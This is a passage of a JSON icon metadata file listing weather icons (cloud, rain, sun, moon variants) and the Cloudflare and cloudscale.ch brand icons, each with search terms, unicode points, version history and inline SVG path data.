        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M495.8 0c5.5 0 10.9 .2 16.3 .7c7 .6 12.8 5.7 14.3 12.5s-1.6 13.9-7.7 17.3c-44.4 25.2-74.4 73-74.4 127.8c0 81 65.5 146.6 146.2 146.6c8.6 0 17-.7 25.1-2.1c6.9-1.2 13.8 2.2 17 8.5s1.9 13.8-3.1 18.7c-34.5 33.6-81.7 54.4-133.6 54.4c-9.3 0-18.4-.7-27.4-1.9c-11.2-22.6-29.8-40.9-52.6-51.7c-2.7-58.5-50.3-105.3-109.2-106.7c-1.7-10.4-2.6-21-2.6-31.8C304 86.1 389.8 0 495.8 0zM447.9 431.9c0 44.2-35.8 80-80 80H96c-53 0-96-43-96-96c0-47.6 34.6-87 80-94.6l0-1.3c0-53 43-96 96-96c34.9 0 65.4 18.6 82.2 46.4c13-9.1 28.8-14.4 45.8-14.4c44.2 0 80 35.8 80 80c0 5.9-.6 11.7-1.9 17.2c37.4 6.7 65.8 39.4 65.8 78.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M495.8 0c5.5 0 10.9 .2 16.3 .7c7 .6 12.8 5.7 14.3 12.5s-1.6 13.9-7.7 17.3c-44.4 25.2-74.4 73-74.4 127.8c0 81 65.5 146.6 146.2 146.6c8.6 0 17-.7 25.1-2.1c6.9-1.2 13.8 2.2 17 8.5s1.9 13.8-3.1 18.7c-34.5 33.6-81.7 54.4-133.6 54.4c-9.3 0-18.4-.7-27.4-1.9c-11.2-22.6-29.8-40.9-52.6-51.7c-2.7-58.5-50.3-105.3-109.2-106.7c-1.7-10.4-2.6-21-2.6-31.8C304 86.1 389.8 0 495.8 0zM447.9 431.9c0 44.2-35.8 80-80 80H96c-53 0-96-43-96-96c0-47.6 34.6-87 80-94.6l0-1.3c0-53 43-96 96-96c34.9 0 65.4 18.6 82.2 46.4c13-9.1 28.8-14.4 45.8-14.4c44.2 0 80 35.8 80 80c0 5.9-.6 11.7-1.9 17.2c37.4 6.7 65.8 39.4 65.8 78.7z"
      }
    },
    "free": ["solid"]
  },
  "cloud-moon-rain": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f73c"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "crescent",
        "evening",
        "lunar",
        "night",
        "partly cloudy",
        "precipitation",
        "rain",
        "sky",
        "storm"
      ]
    },
    "styles": ["solid"],
    "unicode": "f73c",
    "label": "Cloud Moon Rain",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M481.2 0C417 0 363.5 46.5 353.7 107.6c35.4 17.6 60.2 53.3 62.1 95.1c23.2 11 42 29.7 53.1 52.7c4 .4 8.1 .6 12.3 .6c34.9 0 66.7-13.8 89.9-36.1c5.1-4.9 6.4-12.5 3.2-18.7s-10.1-9.7-17-8.6c-4.9 .8-10 1.3-15.2 1.3c-49 0-88.4-39.3-88.4-87.4c0-32.6 18-61.1 44.9-76.1c6.1-3.4 9.3-10.5 7.8-17.4s-7.3-12-14.3-12.6c-3.6-.3-7.3-.5-10.9-.5zM367.9 383.9c44.2 0 80-35.8 80-80c0-39.3-28.4-72.1-65.8-78.7c1.2-5.6 1.9-11.3 1.9-17.2c0-44.2-35.8-80-80-80c-17 0-32.8 5.3-45.8 14.4C241.3 114.6 210.8 96 176 96c-53 0-96 43-96 96l0 1.3c-45.4 7.6-80 47.1-80 94.6c0 53 43 96 96 96H367.9zM85.4 420.1c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3zm96 0c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3zm96 0c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3zm96 0c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M481.2 0C417 0 363.5 46.5 353.7 107.6c35.4 17.6 60.2 53.3 62.1 95.1c23.2 11 42 29.7 53.1 52.7c4 .4 8.1 .6 12.3 .6c34.9 0 66.7-13.8 89.9-36.1c5.1-4.9 6.4-12.5 3.2-18.7s-10.1-9.7-17-8.6c-4.9 .8-10 1.3-15.2 1.3c-49 0-88.4-39.3-88.4-87.4c0-32.6 18-61.1 44.9-76.1c6.1-3.4 9.3-10.5 7.8-17.4s-7.3-12-14.3-12.6c-3.6-.3-7.3-.5-10.9-.5zM367.9 383.9c44.2 0 80-35.8 80-80c0-39.3-28.4-72.1-65.8-78.7c1.2-5.6 1.9-11.3 1.9-17.2c0-44.2-35.8-80-80-80c-17 0-32.8 5.3-45.8 14.4C241.3 114.6 210.8 96 176 96c-53 0-96 43-96 96l0 1.3c-45.4 7.6-80 47.1-80 94.6c0 53 43 96 96 96H367.9zM85.4 420.1c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3zm96 0c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3zm96 0c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3zm96 0c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3z"
      }
    },
    "free": ["solid"]
  },
  "cloud-rain": {
    "aliases": {
      "unicodes": {
        "composite": ["1f327", "26c6"],
        "secondary": ["10f73d"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Rain",
        "cloud",
        "cloud with rain",
        "precipitation",
        "rain",
        "sky",
        "storm"
      ]
    },
    "styles": ["solid"],
    "unicode": "f73d",
    "label": "Cloud Rain",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 320c-53 0-96-43-96-96c0-42.5 27.6-78.6 65.9-91.2C64.7 126.1 64 119.1 64 112C64 50.1 114.1 0 176 0c43.1 0 80.5 24.3 99.2 60c14.7-17.1 36.5-28 60.8-28c44.2 0 80 35.8 80 80c0 5.5-.6 10.8-1.6 16c.5 0 1.1 0 1.6 0c53 0 96 43 96 96s-43 96-96 96H96zm-6.8 52c1.3-2.5 3.9-4 6.8-4s5.4 1.5 6.8 4l35.1 64.6c4.1 7.5 6.2 15.8 6.2 24.3v3c0 26.5-21.5 48-48 48s-48-21.5-48-48v-3c0-8.5 2.1-16.9 6.2-24.3L89.2 372zm160 0c1.3-2.5 3.9-4 6.8-4s5.4 1.5 6.8 4l35.1 64.6c4.1 7.5 6.2 15.8 6.2 24.3v3c0 26.5-21.5 48-48 48s-48-21.5-48-48v-3c0-8.5 2.1-16.9 6.2-24.3L249.2 372zm124.9 64.6L409.2 372c1.3-2.5 3.9-4 6.8-4s5.4 1.5 6.8 4l35.1 64.6c4.1 7.5 6.2 15.8 6.2 24.3v3c0 26.5-21.5 48-48 48s-48-21.5-48-48v-3c0-8.5 2.1-16.9 6.2-24.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 320c-53 0-96-43-96-96c0-42.5 27.6-78.6 65.9-91.2C64.7 126.1 64 119.1 64 112C64 50.1 114.1 0 176 0c43.1 0 80.5 24.3 99.2 60c14.7-17.1 36.5-28 60.8-28c44.2 0 80 35.8 80 80c0 5.5-.6 10.8-1.6 16c.5 0 1.1 0 1.6 0c53 0 96 43 96 96s-43 96-96 96H96zm-6.8 52c1.3-2.5 3.9-4 6.8-4s5.4 1.5 6.8 4l35.1 64.6c4.1 7.5 6.2 15.8 6.2 24.3v3c0 26.5-21.5 48-48 48s-48-21.5-48-48v-3c0-8.5 2.1-16.9 6.2-24.3L89.2 372zm160 0c1.3-2.5 3.9-4 6.8-4s5.4 1.5 6.8 4l35.1 64.6c4.1 7.5 6.2 15.8 6.2 24.3v3c0 26.5-21.5 48-48 48s-48-21.5-48-48v-3c0-8.5 2.1-16.9 6.2-24.3L249.2 372zm124.9 64.6L409.2 372c1.3-2.5 3.9-4 6.8-4s5.4 1.5 6.8 4l35.1 64.6c4.1 7.5 6.2 15.8 6.2 24.3v3c0 26.5-21.5 48-48 48s-48-21.5-48-48v-3c0-8.5 2.1-16.9 6.2-24.3z"
      }
    },
    "free": ["solid"]
  },
  "cloud-showers-heavy": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f740"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["precipitation", "rain", "sky", "storm"]
    },
    "styles": ["solid"],
    "unicode": "f740",
    "label": "Cloud Showers Heavy",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 320c-53 0-96-43-96-96c0-42.5 27.6-78.6 65.9-91.2C64.7 126.1 64 119.1 64 112C64 50.1 114.1 0 176 0c43.1 0 80.5 24.3 99.2 60c14.7-17.1 36.5-28 60.8-28c44.2 0 80 35.8 80 80c0 5.5-.6 10.8-1.6 16c.5 0 1.1 0 1.6 0c53 0 96 43 96 96s-43 96-96 96H96zM81.5 353.9c12.2 5.2 17.8 19.3 12.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6S-3.3 490.7 1.9 478.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6zm120 0c12.2 5.2 17.8 19.3 12.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6s-17.8-19.3-12.6-31.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6zm244.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6s-17.8-19.3-12.6-31.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6s17.8 19.3 12.6 31.5zM313.5 353.9c12.2 5.2 17.8 19.3 12.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6s-17.8-19.3-12.6-31.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 320c-53 0-96-43-96-96c0-42.5 27.6-78.6 65.9-91.2C64.7 126.1 64 119.1 64 112C64 50.1 114.1 0 176 0c43.1 0 80.5 24.3 99.2 60c14.7-17.1 36.5-28 60.8-28c44.2 0 80 35.8 80 80c0 5.5-.6 10.8-1.6 16c.5 0 1.1 0 1.6 0c53 0 96 43 96 96s-43 96-96 96H96zM81.5 353.9c12.2 5.2 17.8 19.3 12.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6S-3.3 490.7 1.9 478.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6zm120 0c12.2 5.2 17.8 19.3 12.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6s-17.8-19.3-12.6-31.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6zm244.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6s-17.8-19.3-12.6-31.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6s17.8 19.3 12.6 31.5zM313.5 353.9c12.2 5.2 17.8 19.3 12.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6s-17.8-19.3-12.6-31.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6z"
      }
    },
    "free": ["solid"]
  },
  "cloud-showers-water": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cloud", "deluge", "flood", "rain", "storm", "surge"]
    },
    "styles": ["solid"],
    "unicode": "e4e4",
    "label": "Cloud Showers Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M224 0c38.6 0 71.9 22.8 87.2 55.7C325.7 41.1 345.8 32 368 32c38.7 0 71 27.5 78.4 64H448c35.3 0 64 28.7 64 64s-28.7 64-64 64H128c-35.3 0-64-28.7-64-64s28.7-64 64-64c0-53 43-96 96-96zM140.6 292.3l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15.1-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2s15.1 21.6 8.2 32.9zm327.8-32.9c11.4 6.8 15 21.6 8.2 32.9l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2zM252.6 292.3l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15.1-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2s15.1 21.6 8.2 32.9zm103.8-32.9c11.4 6.8 15 21.6 8.2 32.9l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15.1-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2zM306.5 421.9C329 437.4 356.5 448 384 448c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 501.7 417 512 384 512c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 437.2 165.1 448 192 448c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M224 0c38.6 0 71.9 22.8 87.2 55.7C325.7 41.1 345.8 32 368 32c38.7 0 71 27.5 78.4 64H448c35.3 0 64 28.7 64 64s-28.7 64-64 64H128c-35.3 0-64-28.7-64-64s28.7-64 64-64c0-53 43-96 96-96zM140.6 292.3l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15.1-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2s15.1 21.6 8.2 32.9zm327.8-32.9c11.4 6.8 15 21.6 8.2 32.9l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2zM252.6 292.3l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15.1-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2s15.1 21.6 8.2 32.9zm103.8-32.9c11.4 6.8 15 21.6 8.2 32.9l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15.1-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2zM306.5 421.9C329 437.4 356.5 448 384 448c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 501.7 417 512 384 512c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 437.2 165.1 448 192 448c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "cloud-sun": {
    "aliases": {
      "unicodes": {
        "composite": ["26c5"],
        "secondary": ["10f6c4"]
      }
    },
    "changes": ["5.4.0", "5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "clear",
        "cloud",
        "day",
        "daytime",
        "fall",
        "outdoors",
        "overcast",
        "partly cloudy",
        "sun",
        "sun behind cloud"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6c4",
    "label": "Cloud Sun",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M294.2 1.2c5.1 2.1 8.7 6.7 9.6 12.1l14.1 84.7 84.7 14.1c5.4 .9 10 4.5 12.1 9.6s1.5 10.9-1.6 15.4l-38.5 55c-2.2-.1-4.4-.2-6.7-.2c-23.3 0-45.1 6.2-64 17.1l0-1.1c0-53-43-96-96-96s-96 43-96 96s43 96 96 96c8.1 0 15.9-1 23.4-2.9c-36.6 18.1-63.3 53.1-69.8 94.9l-24.4 17c-4.5 3.2-10.3 3.8-15.4 1.6s-8.7-6.7-9.6-12.1L98.1 317.9 13.4 303.8c-5.4-.9-10-4.5-12.1-9.6s-1.5-10.9 1.6-15.4L52.5 208 2.9 137.2c-3.2-4.5-3.8-10.3-1.6-15.4s6.7-8.7 12.1-9.6L98.1 98.1l14.1-84.7c.9-5.4 4.5-10 9.6-12.1s10.9-1.5 15.4 1.6L208 52.5 278.8 2.9c4.5-3.2 10.3-3.8 15.4-1.6zM144 208a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM639.9 431.9c0 44.2-35.8 80-80 80H288c-53 0-96-43-96-96c0-47.6 34.6-87 80-94.6l0-1.3c0-53 43-96 96-96c34.9 0 65.4 18.6 82.2 46.4c13-9.1 28.8-14.4 45.8-14.4c44.2 0 80 35.8 80 80c0 5.9-.6 11.7-1.9 17.2c37.4 6.7 65.8 39.4 65.8 78.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M294.2 1.2c5.1 2.1 8.7 6.7 9.6 12.1l14.1 84.7 84.7 14.1c5.4 .9 10 4.5 12.1 9.6s1.5 10.9-1.6 15.4l-38.5 55c-2.2-.1-4.4-.2-6.7-.2c-23.3 0-45.1 6.2-64 17.1l0-1.1c0-53-43-96-96-96s-96 43-96 96s43 96 96 96c8.1 0 15.9-1 23.4-2.9c-36.6 18.1-63.3 53.1-69.8 94.9l-24.4 17c-4.5 3.2-10.3 3.8-15.4 1.6s-8.7-6.7-9.6-12.1L98.1 317.9 13.4 303.8c-5.4-.9-10-4.5-12.1-9.6s-1.5-10.9 1.6-15.4L52.5 208 2.9 137.2c-3.2-4.5-3.8-10.3-1.6-15.4s6.7-8.7 12.1-9.6L98.1 98.1l14.1-84.7c.9-5.4 4.5-10 9.6-12.1s10.9-1.5 15.4 1.6L208 52.5 278.8 2.9c4.5-3.2 10.3-3.8 15.4-1.6zM144 208a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM639.9 431.9c0 44.2-35.8 80-80 80H288c-53 0-96-43-96-96c0-47.6 34.6-87 80-94.6l0-1.3c0-53 43-96 96-96c34.9 0 65.4 18.6 82.2 46.4c13-9.1 28.8-14.4 45.8-14.4c44.2 0 80 35.8 80 80c0 5.9-.6 11.7-1.9 17.2c37.4 6.7 65.8 39.4 65.8 78.7z"
      }
    },
    "free": ["solid"]
  },
  "cloud-sun-rain": {
    "aliases": {
      "unicodes": {
        "composite": ["1f326"],
        "secondary": ["10f743"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cloud",
        "day",
        "overcast",
        "precipitation",
        "rain",
        "storm",
        "summer",
        "sun",
        "sun behind rain cloud",
        "sunshower"
      ]
    },
    "styles": ["solid"],
    "unicode": "f743",
    "label": "Cloud Sun Rain",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M294.2 1.2c5.1 2.1 8.7 6.7 9.6 12.1l10.4 62.4c-23.3 10.8-42.9 28.4-56 50.3c-14.6-9-31.8-14.1-50.2-14.1c-53 0-96 43-96 96c0 35.5 19.3 66.6 48 83.2c.8 31.8 13.2 60.7 33.1 82.7l-56 39.2c-4.5 3.1-10.3 3.8-15.4 1.6s-8.7-6.7-9.6-12.1L98.1 317.9 13.4 303.8c-5.4-.9-10-4.5-12.1-9.6s-1.5-10.9 1.6-15.4L52.5 208 2.9 137.2c-3.2-4.5-3.8-10.3-1.6-15.4s6.7-8.7 12.1-9.6L98.1 98.1l14.1-84.7c.9-5.4 4.5-10 9.6-12.1s10.9-1.5 15.4 1.6L208 52.5 278.8 2.9c4.5-3.2 10.3-3.8 15.4-1.6zM208 144c13.8 0 26.7 4.4 37.1 11.9c-1.2 4.1-2.2 8.3-3 12.6c-37.9 14.6-67.2 46.6-77.8 86.4C151.8 243.1 144 226.5 144 208c0-35.3 28.7-64 64-64zm69.4 276c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm96 0c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm96 0c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm96 0c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm74.5-116.1c0 44.2-35.8 80-80 80H288c-53 0-96-43-96-96c0-47.6 34.6-87 80-94.6l0-1.3c0-53 43-96 96-96c34.9 0 65.4 18.6 82.2 46.4c13-9.1 28.8-14.4 45.8-14.4c44.2 0 80 35.8 80 80c0 5.9-.6 11.7-1.9 17.2c37.4 6.7 65.8 39.4 65.8 78.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M294.2 1.2c5.1 2.1 8.7 6.7 9.6 12.1l10.4 62.4c-23.3 10.8-42.9 28.4-56 50.3c-14.6-9-31.8-14.1-50.2-14.1c-53 0-96 43-96 96c0 35.5 19.3 66.6 48 83.2c.8 31.8 13.2 60.7 33.1 82.7l-56 39.2c-4.5 3.1-10.3 3.8-15.4 1.6s-8.7-6.7-9.6-12.1L98.1 317.9 13.4 303.8c-5.4-.9-10-4.5-12.1-9.6s-1.5-10.9 1.6-15.4L52.5 208 2.9 137.2c-3.2-4.5-3.8-10.3-1.6-15.4s6.7-8.7 12.1-9.6L98.1 98.1l14.1-84.7c.9-5.4 4.5-10 9.6-12.1s10.9-1.5 15.4 1.6L208 52.5 278.8 2.9c4.5-3.2 10.3-3.8 15.4-1.6zM208 144c13.8 0 26.7 4.4 37.1 11.9c-1.2 4.1-2.2 8.3-3 12.6c-37.9 14.6-67.2 46.6-77.8 86.4C151.8 243.1 144 226.5 144 208c0-35.3 28.7-64 64-64zm69.4 276c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm96 0c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm96 0c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm96 0c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm74.5-116.1c0 44.2-35.8 80-80 80H288c-53 0-96-43-96-96c0-47.6 34.6-87 80-94.6l0-1.3c0-53 43-96 96-96c34.9 0 65.4 18.6 82.2 46.4c13-9.1 28.8-14.4 45.8-14.4c44.2 0 80 35.8 80 80c0 5.9-.6 11.7-1.9 17.2c37.4 6.7 65.8 39.4 65.8 78.7z"
      }
    },
    "free": ["solid"]
  },
  "cloudflare": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e07d",
    "label": "Cloudflare",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z"
      }
    },
    "free": ["brands"]
  },
  "cloudscale": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f383",
    "label": "cloudscale.ch",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
